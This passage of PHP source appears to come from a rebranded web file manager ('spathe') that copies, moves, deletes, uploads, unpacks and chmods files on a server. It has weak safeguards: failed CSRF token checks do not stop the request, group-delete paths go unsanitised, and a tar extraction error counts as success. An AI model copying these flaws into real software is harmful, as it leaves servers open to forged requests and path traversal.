                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
